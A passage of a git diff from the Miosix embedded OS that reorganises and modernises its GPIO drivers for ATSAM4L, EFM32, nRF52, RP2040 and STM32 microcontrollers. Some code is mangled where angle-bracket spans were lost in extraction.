0b00010; + const unsigned char PULLUP = 0b00100; + const unsigned char PULLDOWN = 0b01000; + const unsigned char SCHMITT_TRIG = 0b10000; //Required to function as input + + switch(mm & (PULLUP | PULLDOWN)) + { + case PULLUP: + p->GPIO_PDERC=1<GPIO_PUERS=1<GPIO_PUERC=1<GPIO_PDERS=1<GPIO_PUERC=1<GPIO_PDERC=1<GPIO_STERS=1<GPIO_STERC=1<GPIO_ODERS=1<GPIO_GPERS=1<GPIO_GPERC=1<GPIO_ODERC=1<GPIO_GPERS=1<7) af--; + + if(af & 0b001) p->GPIO_PMR0S=1<GPIO_PMR0C=1<GPIO_PMR1S=1<GPIO_PMR1C=1<GPIO_PMR2S=1<GPIO_PMR2C=1<GPIO_ODCR0S=1<GPIO_ODCR0C=1<GPIO_ODCR1S=1<GPIO_ODCR1C=1<GPIO_OSRR0S=1<GPIO_OSRR0C=1< * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +//The ATSAM header files do not provide a #define for each GPIO, rather a single +//array of structs. Thus, the port names map to indices to that array. +//To be able to access GPIOs the Miosix way, we need to add those. +//They are put outside of the miosix namespace for compatibility with other BSPs +constexpr unsigned int PA = GPIO_ADDR; +constexpr unsigned int PB = GPIO_ADDR + 1*0x200; +constexpr unsigned int PC = GPIO_ADDR + 2*0x200; + +/* + * A note for the user: writing this driver has been harder than expected as + * the ATSAM4L documentation is quite a bit incomplete and inconsistent, here's + * a quick list of the dark corners: + * - Figure 23-2 shows a GPIO_ODMER register, but there's no mention of it + * anywhere else in the entire document. The header file has this register + * and a comment alludes to being an open drain feature. I tried implementing + * it in the driver and tested it on PA0, but it doesn't seem to work. + * - Documentation for pullup/pulldown mentions that setting PUER=PDER=1 enables + * a "buskeeper" feature, which of course isn't documented anywhere else. + * - There are supposed to be 4 levels of drive strength, configured using two + * bits ODCR0 and ODCR1. However, the documentation of how many mA does pins + * drive only exist for ODCR0. Does ODCR1 even exist and do something? + * - The header file has more completely undocumented registers, such as LOCK + * and UNLOCK registers... + * - The datasheet lists a Schmitt trigger feature implying it's an optional + * feature for inputs, but it looks like it *must* be enabled for the GPIO to + * operate as an input + */ + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode : unsigned char +{ + OFF = 0b00000, ///Disconnected + INPUT = 0b10000, ///Floating Input + INPUT_PULL_UP = 0b10100, ///Pullup Input + INPUT_PULL_DOWN = 0b11000, ///Pulldown Input + OUTPUT = 0b10001, ///Push Pull Output + ALTERNATE = 0b10010, ///Alternate function + + //These may not not work with all peripherals, as section 23.6.2.1 says that + //some peripherals may override pullup/down/schmitt trigger control + ALTERNATE_PULL_UP = 0b10110, ///Alternate function Pullup + ALTERNATE_PULL_DOWN = 0b11010, ///Alternate function Pulldown +}; + +/** + * \internal + * Base class to implement non template-dependent functions that, if inlined, + * would significantly increase code size + */ +class GpioBase +{ +protected: + static void modeImpl(GpioPort *p, unsigned char n, Mode m); + static void afImpl(GpioPort *p, unsigned char n, char af); + static void strengthImpl(GpioPort *p, unsigned char n, unsigned char s); + static void slewImpl(GpioPort *p, unsigned char n, bool s); +}; + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + */ +class GpioPin : private GpioBase +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : packed(PA | 0xff) {} + + /** + * \internal + * Constructor + * \param p PA, PB, ... + * \param n which pin (0 to 31) + */ + GpioPin(unsigned int p, unsigned char n) : packed(p | n) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<32; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + void mode(Mode m) + { + modeImpl(ptr(),getNumber(),m); + } + + /** + * Set the GPIO drive strength + * \param strength GPIO drive strength, from 0 to 3, with 0 being the lowest + * and 3 being the highest. + */ + void driveStrength(unsigned char s) + { + strengthImpl(ptr(),getNumber(),s); + } + + /** + * Set the GPIO slew rate slew rate control + * \param s true to enable slew rate control false to turn it off + */ + void slewRateControl(bool s) + { + slewImpl(ptr(),getNumber(),s); + } + + /** + * Select which of the many alternate functions is to be connected with the + * GPIO pin. + * \param af alternate function, you can pass either a number in the range + * 0 to 7, or a character in the range 'a' to 'h' or 'A' to 'H'. 0 is the + * same as 'a' or 'A', and so on. + */ + void alternateFunction(char af) + { + afImpl(ptr(),getNumber(),af); + } + + /** + * Set the pin to 1, if it is an output + */ + void high() + { + ptr()->GPIO_OVRS=1<GPIO_OVRC=1<GPIO_OVRT=1<GPIO_PVR & 1<(getPort()); + } + + unsigned int packed; ///< Packed pin port and number for efficiency +}; + +/** + * Gpio template class + * \param P PA, PB, ... + * \param N which pin (0 to 31) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio : private GpioBase +{ +public: + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + static void mode(Mode m) + { + modeImpl(reinterpret_cast(P),N,m); + } + + /** + * Set the GPIO drive strength + * \param s GPIO drive strength, from 0 to 3, with 0 being the lowest and + * 3 being the highest. + */ + static void driveStrength(unsigned char s) + { + strengthImpl(reinterpret_cast(P),N,s); + } + + /** + * Set the GPIO slew rate slew rate control + * \param s true to enable slew rate control false to turn it off + */ + static void slewRateControl(bool s) + { + slewImpl(reinterpret_cast(P),N,s); + } + + /** + * Select which of the many alternate functions is to be connected with the + * GPIO pin. + * \param af alternate function, you can pass either a number in the range + * 0 to 7, or a character in the range 'a' to 'h' or 'A' to 'H'. 0 is the + * same as 'a' or 'A', and so on. + */ + static void alternateFunction(char af) + { + afImpl(reinterpret_cast(P),N,af); + } + + /** + * Set the pin to 1, if it is an output + */ + static void high() + { + reinterpret_cast(P)->GPIO_OVRS=1<(P)->GPIO_OVRC=1<(P)->GPIO_OVRT=1<(P)->GPIO_PVR & 1<, as n is not a //template parameter in GpioPin - if(n>=8) detail::ModeBase::modeImplH(port,n,m); - else detail::ModeBase::modeImplL(port,n,m); + if(getNumber()>=8) internal::ModeBase::modeImplH(ptr(),getNumber(),m); + else internal::ModeBase::modeImplL(ptr(),getNumber(),m); } -namespace detail { +namespace internal { -void ModeBase::modeImplL(GPIO_P_TypeDef *port, unsigned char n, Mode::Mode_ m) +void ModeBase::modeImplL(GPIO_P_TypeDef *port, unsigned char n, Mode m) { const unsigned char o=n*4; + const unsigned int mm=static_cast(m); //First, transition to disabled state port->MODEL &= ~(0xf<DOUTCLR=1<DOUTSET=1<DOUTCLR=1<DOUTSET=1<MODEL |= (m & 0xf)<MODEL |= (mm & 0xf)<(m); //First, transition to disabled state port->MODEH &= ~(0xf<DOUTCLR=1<DOUTSET=1<DOUTCLR=1<DOUTSET=1<MODEH |= (m & 0xf)<MODEH |= (mm & 0xf)< * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +//The EFM32 header files do not provide a pointer to struct for each GPIO, +//rather a single pointer to a GPIO struct is provided with an array of +//other structs, one for each port. Thus, the port names map to indices to that +//array. +constexpr unsigned int PA=0; +constexpr unsigned int PB=1; +constexpr unsigned int PC=2; +constexpr unsigned int PD=3; +constexpr unsigned int PE=4; +constexpr unsigned int PF=5; + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode +{ + DISABLED = 0x10, ///P[p].CTRL=static_cast(dst); +} + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + * + * To instantiate classes of this type, use Gpio::getPin() + * \code + * typedef Gpio led; + * GpioPin ledPin=led::getPin(); + * \endcode + */ +class GpioPin +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : GpioPin(PA,0xff) {} + + /** + * \internal + * Constructor. Don't instantiate classes through this constructor, + * rather caller Gpio::getPin(). + * \param port PA, PB, ... + * \param n which pin (0 to 15) + */ + GpioPin(unsigned int p, unsigned char n) : packed(p<<8 | n) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<16; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + void mode(Mode m); + + /** + * Set the pin to 1, if it is an output + */ + void high() + { + ptr()->DOUTSET=1<DOUTCLR=1<DOUTTGL=1<DIN & 1<>8; } + + /** + * \return the pin number, from 0 to 15 + */ + inline unsigned char getNumber() const { return packed & 0xff; } + +private: + /** + * \return the GPIO struct pointer + */ + inline GPIO_P_TypeDef *ptr() { return &GPIO->P[getPort()]; } + + /// Packed pin port and number for efficiency. NOTE: we can't just store in + /// the high bit numbers the address of the GPIO_P_TypeDef struct as the're + /// not aligned and thus use all the bits + unsigned int packed; +}; + +namespace internal { + +/** + * \internal + * Base class to implement non template-dependent functions that, if inlined, + * would significantly increase code size + */ +struct ModeBase +{ + /** + * \internal + * Set mode to a GPIO whose number is within 0 and 7 + * \param port port struct + * \param n which pin (0 to 15) + * \param m enum Mode + */ + static void modeImplL(GPIO_P_TypeDef *port, unsigned char n, Mode m); + + /** + * \internal + * Set mode to a GPIO whose number is within 8 and 15 + * \param port port struct + * \param n which pin (0 to 15) + * \param m enum Mode + */ + static void modeImplH(GPIO_P_TypeDef *port, unsigned char n, Mode m); +}; + +/** + * \internal + * Forwarding class to call modeImplL or modeImplH depending on pin number + * resolving which function to call at compile time + */ +template=8> +struct ModeFwd : private ModeBase +{ + inline static void mode(Mode m) + { + ModeBase::modeImplH(&GPIO->P[P],N,m); + } +}; + +template +struct ModeFwd +{ + inline static void mode(Mode m) + { + ModeBase::modeImplL(&GPIO->P[P],N,m); + } +}; + +} //namespace internal + +/** + * Gpio template class + * \param P PA, PB, ... + * \param N which pin (0 to 15) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio +{ +public: + /** + * \return whether the Gpio is valid + */ + bool isValid() const { return true; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + static void mode(Mode m) + { + internal::ModeFwd::mode(m); + } + + /** + * Set the pin to 1, if it is an output + */ + static void high() + { + GPIO->P[P].DOUTSET=1<P[P].DOUTCLR=1<P[P].DOUTTGL=1<P[P].DIN & 1< * + ***************************************************************************/ + +#include "nrf52_gpio.h" + +namespace miosix { + +void GpioBase::modeImpl(NRF_GPIO_Type *p, unsigned char n, Mode m) +{ + auto cnf=static_cast(m); + // Preserve drive strength level by reading old value of PIN_CNF + if(p->PIN_CNF[n] & (1<<8)) + { + if(cnf & (1<<10)) cnf |= 0b01<<8; + else cnf |= 0b11<<8; + } + p->PIN_CNF[n]=cnf; +} + +void GpioBase::strengthImpl(NRF_GPIO_Type *p, unsigned char n, int s) +{ + auto cnf=p->PIN_CNF[n]; + // Bit 9 is dual-purpose, it means drive strength if bit 10 is 0, + // or it means open source/drain if bit 10 is 1... + if(s) + { + if(cnf & (1<<10)) cnf |= 0b01<<8; + else cnf |= 0b11<<8; + } else { + if(cnf & (1<<10)) cnf &= ~(0b01<<8); + else cnf &= ~(0b11<<8); + } + p->PIN_CNF[n]=cnf; +} + +} //namespace miosix diff --git a/miosix/arch/drivers/gpio/nrf52_gpio.h b/miosix/arch/drivers/gpio/nrf52_gpio.h new file mode 100644 index 000000000..606e9c604 --- /dev/null +++ b/miosix/arch/drivers/gpio/nrf52_gpio.h @@ -0,0 +1,278 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +// nRF chips name ports with a number, thus P0, P1, ... and provide peripheral +// base address values with the macros NRF_P0_BASE, NRF_P1_BASE, ... +// Provide shorthands for use with the Miosix Gpio class in the miosix namespace +constexpr unsigned int P0 = NRF_P0_BASE; +constexpr unsigned int P1 = NRF_P1_BASE; + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode : unsigned int +{ + OFF = 0b00000000010, ///< Disconnected + INPUT = 0b00000000000, ///< Floating input + INPUT_PULL_DOWN = 0b00000000100, ///< Pulldown Input + INPUT_PULL_UP = 0b00000001100, ///< Pullup Input + OUTPUT = 0b00000000001, ///< Push Pull Output + OUTPUT_OS = 0b10000000001, ///< Output open source + OUTPUT_OD = 0b11000000001, ///< Output open drain + OUTPUT_OS_PULL_DOWN = 0b10000000101, ///< Output open source pulldown + OUTPUT_OD_PULL_UP = 0b11000001001, ///< Output open drain pullup +}; + +/** + * \internal + * Base class to implement non template-dependent functions that, if inlined, + * would significantly increase code size + * + * This is an implementation detail, application code should only use the + * Gpio and PioPin classes + */ +class GpioBase +{ +protected: + static void modeImpl(NRF_GPIO_Type *p, unsigned char n, Mode m); + static void strengthImpl(NRF_GPIO_Type *p, unsigned char n, int s); +}; + +/** + * Unlike the Gpio class that stores the port and pin data as a compile-time + * template parameter, the GpioPin class stores the port and pin data in RAM + * inside the class instance variable. + * + * Accessing a GPIO through this class is slower than with the Gpio class, + * but is a convenient alternative when a GPIO pin needs to be passed as a + * parameter to a function. + * + * To get an instance of this class you have to start from a Gpio class and call + * getPin() on it. You can then mix and match method calls to both classes. + * \code + * using greenLed=Gpio; + * greenLed::mode(Mode::OUTPUT); // Calling methods of class Gpio requires :: + * GpioPin greenLedPin=greenLed::getPin(); + * greenLedPin.high(); // Calling methods of class GpioPin requires . + * \endcode + */ +class GpioPin : private GpioBase +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call areisValid() which returns false on a default constructed GpioPin + * and getPsel() + */ + GpioPin() : packed(P0 | 0xff) {} + + /** + * \internal + * Constructor + * \param p P0, P1, ... + * \param n which pin (0 to 31) + */ + GpioPin(unsigned int p, unsigned char n) : packed(p | n) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<32; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + void mode(Mode m) { modeImpl(ptr(),getNumber(),m); } + + /** + * Set the GPIO drive strength + * \param strength GPIO drive strength, from 0 to 1, with 0 being the lowest + * and 1 being the highest. + * + * Default for an unconfigured GPIO is 0. + * + * NOTE: the hardware allows to configure drive strength for only the 0 or + * 1 level in some modes, but this feature seems of little practical utility + * so this driver does not support it + */ + void driveStrength(int s) { strengthImpl(ptr(),getNumber(),s); } + + /** + * Set the pin to 1, if it is an output + */ + void high() { ptr()->OUTSET=1<OUTCLR=1<IN & 1<(getPort()); + } + + unsigned int packed; ///< Packed pin port and number for efficiency +}; + +/** + * Gpio template class + * \param P P0, P1, ... + * \param N which pin (0 to 31) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * using greenLed=Gpio; + * greenLed::mode(Mode::OUTPUT); + * greenLed::high(); //Turn on LED + * \endcode + */ +template +class Gpio : private GpioBase +{ +public: + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + static void mode(Mode m) { modeImpl(ptr(),getNumber(),m); } + + /** + * Set the GPIO drive strength + * \param strength GPIO drive strength, from 0 to 1, with 0 being the lowest + * and 1 being the highest. + * + * Default for an unconfigured GPIO is 0. + * + * NOTE: the hardware allows to configure drive strength only for the 0 or + * 1 level in some modes, but this feature seems of little practical utility + * so this driver does not support it + */ + static void driveStrength(int s) { strengthImpl(ptr(),getNumber(),s); } + + /** + * Set the pin to 1, if it is an output + */ + static void high() { ptr()->OUTSET=1<OUTCLR=1<IN & 1<(getPort()); + } +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/gpio/rp2040_gpio.h b/miosix/arch/drivers/gpio/rp2040_gpio.h new file mode 100644 index 000000000..a9c3e805e --- /dev/null +++ b/miosix/arch/drivers/gpio/rp2040_gpio.h @@ -0,0 +1,309 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +//There is just one GPIO port on RP2040, with 30 lines +constexpr unsigned int P0=0; + +/** + * GPIO pad mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode +{ + DISABLED = 0b10000000, + PULL_UP = 0b00001000, + PULL_DOWN = 0b00000100, + INPUT = 0b11000000, + INPUT_PULL_UP = 0b11001000, + INPUT_PULL_DOWN = 0b11000100, + INPUT_SCHMITT_TRIG = 0b11000010, + INPUT_SCHMITT_TRIG_PULL_UP = 0b11001010, + INPUT_SCHMITT_TRIG_PULL_DOWN = 0b11000110, + OUTPUT = 0b01000000, +}; + +/** + * Drive strength for GPIO pads + */ +enum class DriveStrength +{ + HIGHER = 3, ///< 12mA max + HIGH = 2, ///< 8mA max + STANDARD = 1, ///< 4mA max + LOW = 0 ///< 2mA max +}; + +/** + * GPIO function + */ +enum class Function +{ + SPI = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_SPI0_RX, + UART = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_UART0_TX, + I2C = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_I2C0_SDA, + PWM = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PWM_A_0, + // SIO = Single cycle IO, a silly name for normal CPU-driven GPIOs + SIO = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_SIO_0, + GPIO = SIO, + PIO0 = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PIO0_0, + PIO1 = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PIO1_0, + // Host USB VDD monitoring + USBMON = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_USB_MUXING_OVERCURR_DETECT, + // Clock in/out (only GPIO from 20 to 25) + CLKIN = IO_BANK0_GPIO20_CTRL_FUNCSEL_VALUE_CLOCKS_GPIN_0, + CLKOUT = IO_BANK0_GPIO21_CTRL_FUNCSEL_VALUE_CLOCKS_GPOUT_0, +}; + +//Convert enum classes to their bitmask representation +inline auto toUint(Mode m) { return static_cast(m); } +inline auto toUint(DriveStrength s) { return static_cast(s); } +inline auto toUint(Function f) { return static_cast(f); } + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + * + * To instantiate classes of this type, use Gpio::getPin() + * \code + * typedef Gpio led; + * GpioPin ledPin=led::getPin(); + * \endcode + */ +class GpioPin +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : N(0xff) {} + + /** + * \internal + * Constructor. Don't instantiate classes through this constructor, + * rather caller Gpio::getPin(). + * \param port port struct + * \param n which pin (0 to 15) + */ + GpioPin(unsigned int port, unsigned char n): /*P(port),*/ N(n) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<32; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode_ + */ + void mode(Mode m) + { + padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b11001110) | toUint(m); + } + + /** + * Set the speed of the GPIO to fast. + */ + void fast() { hw_set_bits(&padsbank0_hw->io[N], 1); } + + /** + * Set the speed of the GPIO to slow. + */ + void slow() { hw_clear_bits(&padsbank0_hw->io[N], 1); } + + /** + * Set the drive strength of the GPIO. + * \param s Desired drive strength. + */ + void strength(DriveStrength s) + { + padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b00110000) | toUint(s); + } + + /** + * Set the function for the GPIO. + * \param f The desired function. + * \note To use a GPIO pin directly, set the function to GPIO first. + */ + void function(Function f) { iobank0_hw->io[N].ctrl = toUint(f); } + + /** + * Set the pin to 1, if it is an output + */ + void high() { sio_hw->gpio_set = 1UL << N; } + + /** + * Set the pin to 0, if it is an output + */ + void low() { sio_hw->gpio_clr = 1UL << N; } + + /** + * Toggle pin, if it is an output + */ + void toggle() { sio_hw->gpio_togl = 1UL << N; } + + /** + * Sets the value of the GPIO (high or low) + * \param v The value (zero for low, non-zero for high) + */ + void write(int v) { if(v) high(); else low(); } + + /** + * Allows to read the pin status + * \return 0 or 1 + */ + int value() { return !!(sio_hw->gpio_in & (1UL << N)); } + + /** + * \return the pin port. One of the constants P0, ... + */ + unsigned int getPort() const { /*return P;*/ return P0; } + + /** + * \return the pin number, from 0 to 15 + */ + unsigned char getNumber() const { return N; } + +private: + //const unsigned int P; optimized away because rp2040 has only one port + unsigned char N; +}; + +/** + * Gpio template class + * \param P P0, P1, ... + * \param N which pin (0 to 29) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio +{ +public: + /** + * \return whether the Gpio is valid + */ + bool isValid() const { return true; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode_ + */ + static void mode(Mode m) + { + padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b11001110) | toUint(m); + } + + /** + * Set the speed of the GPIO to fast. + */ + static void fast() { hw_set_bits(&padsbank0_hw->io[N], 1); } + + /** + * Set the speed of the GPIO to slow. + */ + static void slow() { hw_clear_bits(&padsbank0_hw->io[N], 1); } + + /** + * Set the drive strength of the GPIO. + * \param s Desired drive strength. + */ + static void strength(DriveStrength s) + { + padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b00110000) | toUint(s); + } + + /** + * Set the function for the GPIO. + * \param f The desired function. + * \note To use a GPIO pin directly, set the function to GPIO first. + */ + static void function(Function f) + { + iobank0_hw->io[N].ctrl = toUint(f); + } + + /** + * Set the pin to 1, if it is an output + */ + static void high() { sio_hw->gpio_set = 1UL << N; } + + /** + * Set the pin to 0, if it is an output + */ + static void low() { sio_hw->gpio_clr = 1UL << N;} + + /** + * Toggle pin, if it is an output + */ + static void toggle() { sio_hw->gpio_togl = 1UL << N; } + + /** + * Sets the value of the GPIO (high or low) + * \param v The value (zero for low, non-zero for high) + */ + static void write(int v) { if(v) high(); else low(); } + + /** + * Allows to read the pin status + * \return 0 or 1 + */ + static int value() { return !!(sio_hw->gpio_in & (1UL << N)); } + + /** + * \return this Gpio converted as a GpioPin class + */ + static GpioPin getPin() { return GpioPin(P, N); } + + /** + * \return the pin port. One of the constants P0, P1, ... + */ + static unsigned int getPort() { return P; } + + /** + * \return the pin number, from 0 to 29 + */ + static unsigned char getNumber() { return N; } + + Gpio() = delete; //Only static member functions, disallow creating instances +}; + +} //namespace miosix + diff --git a/miosix/arch/common/drivers/stm32_gpio.cpp b/miosix/arch/drivers/gpio/stm32_gpio.cpp similarity index 80% rename from miosix/arch/common/drivers/stm32_gpio.cpp rename to miosix/arch/drivers/gpio/stm32_gpio.cpp index fe8b2930d..8b210ec51 100644 --- a/miosix/arch/common/drivers/stm32_gpio.cpp +++ b/miosix/arch/drivers/gpio/stm32_gpio.cpp @@ -29,32 +29,27 @@ namespace miosix { -void GpioBase::modeImpl(unsigned int p, unsigned char n, Mode::Mode_ m) +void GpioBase::modeImpl(unsigned int p, unsigned char n, Mode m) { - GPIO_TypeDef* gpio=reinterpret_cast(p); + const unsigned int mm=static_cast(m); + auto ptr=reinterpret_cast(p); - gpio->MODER &= ~(3<<(n*2)); - gpio->OTYPER &= ~(1<PUPDR &= ~(3<<(n*2)); - - gpio->MODER |= (m>>3)<<(n*2); - gpio->OTYPER |= ((m>>2) & 1)<PUPDR |= (m & 3)<<(n*2); + ptr->MODER = (ptr->MODER & ~(3<<(n*2))) | (mm>>3)<<(n*2); + ptr->OTYPER = (ptr->OTYPER & ~(1<>2) & 1)<PUPDR = (ptr->PUPDR & ~(3<<(n*2))) | (mm & 3)<<(n*2); } void GpioBase::afImpl(unsigned int p, unsigned char n, unsigned char af) { - GPIO_TypeDef* gpio=reinterpret_cast(p); + auto ptr=reinterpret_cast(p); af &= 0xf; if(n<8) { - gpio->AFR[0] &= ~(0xf<<(n*4)); - gpio->AFR[0] |= af<<(n*4); + ptr->AFR[0] = (ptr->AFR[0] & ~(0xf<<(n*4))) | af<<(n*4); } else { n-=8; - gpio->AFR[1] &= ~(0xf<<(n*4)); - gpio->AFR[1] |= af<<(n*4); + ptr->AFR[1] = (ptr->AFR[1] & ~(0xf<<(n*4))) | af<<(n*4); } } diff --git a/miosix/arch/drivers/gpio/stm32_gpio.h b/miosix/arch/drivers/gpio/stm32_gpio.h new file mode 100644 index 000000000..ec91a8a5b --- /dev/null +++ b/miosix/arch/drivers/gpio/stm32_gpio.h @@ -0,0 +1,345 @@ +/*************************************************************************** + * Copyright (C) 2009-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +//Provide shorthands for GPIO port names (PA instead of GPIOA_BASE) +#ifdef GPIOA_BASE +constexpr unsigned int PA = GPIOA_BASE; +#endif +#ifdef GPIOB_BASE +constexpr unsigned int PB = GPIOB_BASE; +#endif +#ifdef GPIOC_BASE +constexpr unsigned int PC = GPIOC_BASE; +#endif +#ifdef GPIOD_BASE +constexpr unsigned int PD = GPIOD_BASE; +#endif +#ifdef GPIOE_BASE +constexpr unsigned int PE = GPIOE_BASE; +#endif +#ifdef GPIOF_BASE +constexpr unsigned int PF = GPIOF_BASE; +#endif +#ifdef GPIOG_BASE +constexpr unsigned int PG = GPIOG_BASE; +#endif +#ifdef GPIOH_BASE +constexpr unsigned int PH = GPIOH_BASE; +#endif +#ifdef GPIOI_BASE +constexpr unsigned int PI = GPIOI_BASE; +#endif +#ifdef GPIOJ_BASE +constexpr unsigned int PJ = GPIOJ_BASE; +#endif +#ifdef GPIOK_BASE +constexpr unsigned int PK = GPIOK_BASE; +#endif + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode +{ + INPUT = 0b00000, ///Input Floating (MODE=00 TYPE=0 PUP=00) + INPUT_PULL_UP = 0b00001, ///Input PullUp (MODE=00 TYPE=0 PUP=01) + INPUT_PULL_DOWN = 0b00010, ///Input PullDown (MODE=00 TYPE=0 PUP=10) + INPUT_ANALOG = 0b11000, ///Input Analog (MODE=11 TYPE=0 PUP=00) + OUTPUT = 0b01000, ///Push Pull Output (MODE=01 TYPE=0 PUP=00) + OPEN_DRAIN = 0b01100, ///Open Drain Output (MODE=01 TYPE=1 PUP=00) + OPEN_DRAIN_PULL_UP = 0b01101, ///Open Drain Output PU (MODE=01 TYPE=1 PUP=01) + ALTERNATE = 0b10000, ///Alternate function (MODE=10 TYPE=0 PUP=00) + ALTERNATE_PULL_UP = 0b10001, ///Alternate PullUp (MODE=10 TYPE=0 PUP=01) + ALTERNATE_PULL_DOWN = 